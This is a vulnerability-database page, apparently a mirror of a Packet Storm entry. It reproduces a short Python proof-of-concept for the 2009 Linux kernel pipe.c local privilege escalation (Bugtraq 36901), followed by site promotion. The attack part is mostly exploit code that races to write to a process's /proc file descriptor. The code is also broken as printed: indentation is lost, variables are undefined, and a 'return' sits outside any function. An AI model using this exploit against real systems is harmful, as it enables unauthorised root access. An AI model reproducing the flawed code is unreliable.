Lucene search
K

Linux Kernel pipe.c Local Privilege Escalation

🗓️ 06 Nov 2009 00:00:00Reported by Matthew BerginType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

Linux Kernel pipe.c Local Privilege Escalation Po

Code
`# This is a PoC based off the PoC release by Earl Chew  
# Linux Kernel 'pipe.c' Local Privilege Escalation Vulnerability  
# PoC by Matthew Bergin  
# Bugtraq ID: 36901  
  
import os  
import time  
import random  
#infinite loop  
while (i == 0):  
os.system("sleep 1")  
while (x == 0):  
time.sleep(random.random()) #random int 0.0-1.0  
pid = str(os.system("ps -efl | grep 'sleep 1' | grep -v grep | { read PID REST ; echo $PID; }"))  
if (pid == 0): #need an active pid, race condition applies  
print "[+] Didnt grab PID, got: " + pid + " -- Retrying..."  
return  
else:  
print "[+] PID: " + pid  
loc = "echo n > /proc/" + pid + "/fd/1"  
os.system(loc) # triggers the fault, runs via sh  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation